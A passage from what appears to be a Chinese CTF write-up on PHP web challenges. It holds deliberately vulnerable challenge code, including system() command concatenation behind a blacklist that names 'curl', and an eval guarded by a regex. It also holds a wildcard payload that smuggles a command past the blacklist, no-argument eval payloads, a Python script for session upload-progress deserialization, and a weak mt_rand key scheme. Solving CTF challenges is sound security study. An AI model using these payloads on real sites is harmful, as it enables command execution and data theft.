class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$info\u003c/span\u003e = @\u003cspan class=\"variable\"\u003e$_GET\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#x27;info\u0026#x27;\u003c/span\u003e];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$lyric\u003c/span\u003e = @\u003cspan class=\"variable\"\u003e$_GET\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#x27;lyric\u0026#x27;\u003c/span\u003e]; \u003cspan class=\"comment\"\u003e// php://input\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(\u003cspan class=\"keyword\"\u003eisset\u003c/span\u003e(\u003cspan class=\"variable\"\u003e$lyric\u003c/span\u003e)\u0026amp;\u0026amp;(@file_get_contents(\u003cspan class=\"variable\"\u003e$lyric\u003c/span\u003e,\u003cspan class=\"string\"\u003e\u0026#x27;r\u0026#x27;\u003c/span\u003e)===\u003cspan class=\"string\"\u003e\u0026quot;I want to eat pineapple\u0026quot;\u003c/span\u003e))\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e unserialize(\u003cspan class=\"variable\"\u003e$info\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e及工具类Blog:\u003c/p\u003e\u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003eBlog\u003c/span\u003e\u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"variable\"\u003e$file\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026quot;Music\u0026quot;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e \u003cspan class=\"title\"\u003e__destruct\u003c/span\u003e(\u003cspan class=\"params\"\u003e\u003c/span\u003e)\u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"variable\"\u003e$blacklist\u003c/span\u003e = [\u003cspan class=\"string\"\u003e\u0026quot;\\\u0026quot;\u0026quot;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026quot;ls\u0026quot;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026quot;curl\u0026quot;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026quot;-\u0026quot;\u003c/span\u003e];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// PATH中存在的文件名基本都ban了\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eforeach\u003c/span\u003e (\u003cspan class=\"variable\"\u003e$blacklist\u003c/span\u003e \u003cspan class=\"keyword\"\u003eas\u003c/span\u003e \u003cspan class=\"variable\"\u003e$key\u003c/span\u003e =\u0026gt; \u003cspan class=\"variable\"\u003e$value\u003c/span\u003e) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(stripos(\u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;file,\u003cspan class=\"variable\"\u003e$value\u003c/span\u003e))\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003edie\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026quot;Attack!\u0026quot;\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e system(\u003cspan class=\"string\"\u003e\u0026quot;php ./templates/\u003cspan class=\"subst\"\u003e$this\u003c/span\u003e-\u0026gt;file.php\u0026quot;\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e且提示了flag存在于templates/Secrets.php文件中\u003cbr\u003e显而易见,Blog类system函数的调用中存在命令拼接,而shell中的通配符可以帮助我们绕过waf\u003cbr\u003e所以令 \u003ccode\u003eBlog-\u0026gt;file = \u0026quot;;/???/???\\t./templates/Secrets\u0026quot;;\u003c/code\u003e 即可\u003c/p\u003e\u003ch2 id=\"Regex-and-PHP-are-the-best\"\u003eRegex and PHP are the best\u003c/h2\u003e\u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e\u0026lt;?php\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#x27;;\u0026#x27;\u003c/span\u003e === preg_replace(\u003cspan class=\"string\"\u003e\u0026#x27;/[^\\W]+\\((?R)?\\)/\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;\u0026#x27;\u003c/span\u003e, \u003cspan class=\"variable\"\u003e$_GET\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#x27;code\u0026#x27;\u003c/span\u003e])) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eeval\u003c/span\u003e(\u003cspan class=\"variable\"\u003e$_GET\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#x27;code\u0026#x27;\u003c/span\u003e]);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125; \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e show_source(\u003cspan class=\"keyword\"\u003e__FILE__\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e网上能搜到原题,此处总结一下各种可能能利用的函数\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003ccode\u003egetallheaders()\u003c/code\u003e (在5.5.7之前只存在于apache php模块中)\u003c/li\u003e\u003cli\u003e\u003ccode\u003eget_defined_vars()\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003esession_id(session_start())\u003c/code\u003e\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e还存在一个比较刁钻的payload:\u003cbr\u003e\u003ccode\u003ereadfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))))\u003c/code\u003e\u003c/p\u003e\u003ch2 id=\"can-u-see-the-flag\"\u003ecan u see the flag\u003c/h2\u003e\u003cp\u003e首先通过extract变量覆盖读phpinfo:\u003ccode\u003efunc=extract\u0026amp;func_0=phpinfo\u003c/code\u003e\u003cbr\u003e可以发现php版本为7.0.33\u003c/p\u003e\u003cp\u003e回到变量覆盖,发现实际上无法直接进行反序列化,遂回到phpinfo继续寻找突破口\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e其实此时可以通过fuzz找出可以接收一个数组作为参数的函数发现session反序列化\u003c/p\u003e\u003c/blockquote\u003e\u003cfigure class=\"highlight ini\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"attr\"\u003esession.serialize_handler\u003c/span\u003e = php_serialize\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"attr\"\u003esession.upload_progress.enabled\u003c/span\u003e = \u003cspan class=\"literal\"\u003eOn\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"attr\"\u003esession.upload_progress.cleanup\u003c/span\u003e = \u003cspan class=\"literal\"\u003eOff\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e可以发现上述配置项允许我们通过session注入进行反序列化\u003cbr\u003e再次回到变量覆盖,将\u003ccode\u003efunc_0\u003c/code\u003e覆盖为\u003ccode\u003esession_start\u003c/code\u003e。\u003cbr\u003e此时,要进行反序列化还需要更改\u003ccode\u003eserialize_handler\u003c/code\u003e,观察php文档发现session_start可以接受一个\u003ccode\u003e$opts\u003c/code\u003e参数更改session相关配置。之后就是烦人的套娃了\u003c/p\u003e\u003cp\u003e所以第一关的exploit如下:\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e phpserialize \u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e serialize\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e requests \u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e session\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eses = session()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ehost = \u003cspan class=\"number\"\u003e1\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003emaker_r\u003c/span\u003e:\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003emaker_e\u003c/span\u003e:\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003emaker_w\u003c/span\u003e:\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003emaker_q\u003c/span\u003e:\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003eget_flag\u003c/span\u003e:\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e get1 = \u003cspan class=\"string\"\u003e\u0026#x27;get_flag::flag1\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e protected_get2 = \u003cspan class=\"string\"\u003e\u0026#x27;\\\\f1a9\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e q1 = get_flag()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e private_q2 = \u003cspan class=\"literal\"\u003eNone\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e w1 = maker_q()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e private_w2 = \u003cspan class=\"literal\"\u003eNone\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e e1 = maker_w()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e private_e2 = \u003cspan class=\"literal\"\u003eNone\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e r1 = \u003cspan class=\"literal\"\u003eNone\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e r2 = maker_e()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003epayload = serialize(maker_r())\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eses.get(host + \u003cspan class=\"string\"\u003e\u0026#x27;/welcome.php\u0026#x27;\u003c/span\u003e, params=\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;func\u0026#x27;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#x27;extract\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;func_0\u0026#x27;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#x27;session_start\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eses.post(host + \u003cspan class=\"string\"\u003e\u0026#x27;/welcome.php\u0026#x27;\u003c/span\u003e, params=\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;func\u0026#x27;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#x27;extract\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;func_0\u0026#x27;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#x27;session_start\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;, files=\u0026#123;\u003cspan class=\"string\"\u003e\u0026#x27;a\u0026#x27;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#x27;b\u0026#x27;\u003c/span\u003e\u0026#125;, data=\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;PHP_SESSION_UPLOAD_PROGRESS\u0026#x27;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#x27;|\u0026#x27;\u003c/span\u003e + payload\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 此时session文件中的内容为:https://paste.ubuntu.com/p/QBsH3gyx8q/,挺有趣的\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eret = ses.post(host + \u003cspan class=\"string\"\u003e\u0026#x27;/welcome.php\u0026#x27;\u003c/span\u003e, params=\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;func\u0026#x27;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#x27;extract\u0026#x27;\u003c/span\u003e,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;func_0\u0026#x27;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#x27;session_start\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;, data=\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;serialize_handler\u0026#x27;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#x27;php\u0026#x27;\u003c/span\u003e,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;s\u0026#x27;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#x27;something\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;).text\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(ret)\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e根据第一关的答案,我们能拿到第二关的源码,并且知道了第二关flag的位置。在classes.php中我们发现有两个key,其中admin_key没有给出,而出题人提示两个key的生成方式如下:\u003c/p\u003e\u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003eSecret\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"variable\"\u003e$maker_key\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"variable\"\u003e$admin_key\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e \u003cspan class=\"title\"\u003e__construct\u003c/span\u003e(\u003cspan class=\"params\"\u003e\u003c/span\u003e) \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;admin_key = \u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;gen_secret();\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;maker_key = \u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;gen_secret(\u003cspan class=\"number\"\u003e10\u003c/span\u003e); \u003cspan class=\"comment\"\u003e// )l)h3X3Gye\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e \u003cspan class=\"title\"\u003egen_secret\u003c/span\u003e(\u003cspan class=\"params\"\u003e\u003cspan class=\"variable\"\u003e$len\u003c/span\u003e = \u003cspan class=\"number\"\u003e8\u003c/span\u003e\u003c/span\u003e) \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"variable\"\u003e$chars\u003c/span\u003e = \u003cspan class=\"string\"\u003e\u0026#x27;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^\u0026amp;*()\u0026#x27;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"variable\"\u003e$passwd\u003c/span\u003e = \u003cspan class=\"string\"\u003e\u0026#x27;\u0026#x27;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"variable\"\u003e$i\u003c/span\u003e = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; \u003cspan class=\"variable\"\u003e$i\u003c/span\u003e \u0026lt; \u003cspan class=\"variable\"\u003e$len\u003c/span\u003e; \u003cspan class=\"variable\"\u003e$i\u003c/span\u003e++ )\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"variable\"\u003e$passwd\u003c/span\u003e .= substr(\u003cspan class=\"variable\"\u003e$chars\u003c/span\u003e, mt_rand(\u003cspan class=\"number\"\u003e0\u003c/span\u003e, strlen(\u003cspan class=\"variable\"\u003e$chars\u003c/span\u003e) - \u003cspan class=\"number\"\u003e1\u003c/span\u003e), \u003cspan class=\"number\"\u003e1\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"variable\"\u003e$passwd\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003emt_rand\u003c/code\u003e随机数生成器非密码学安全\u003cbr\u003e可以利用工具(比如php_mt_seed)爆破出seed,得到\u003ccode\u003eadmin_key = 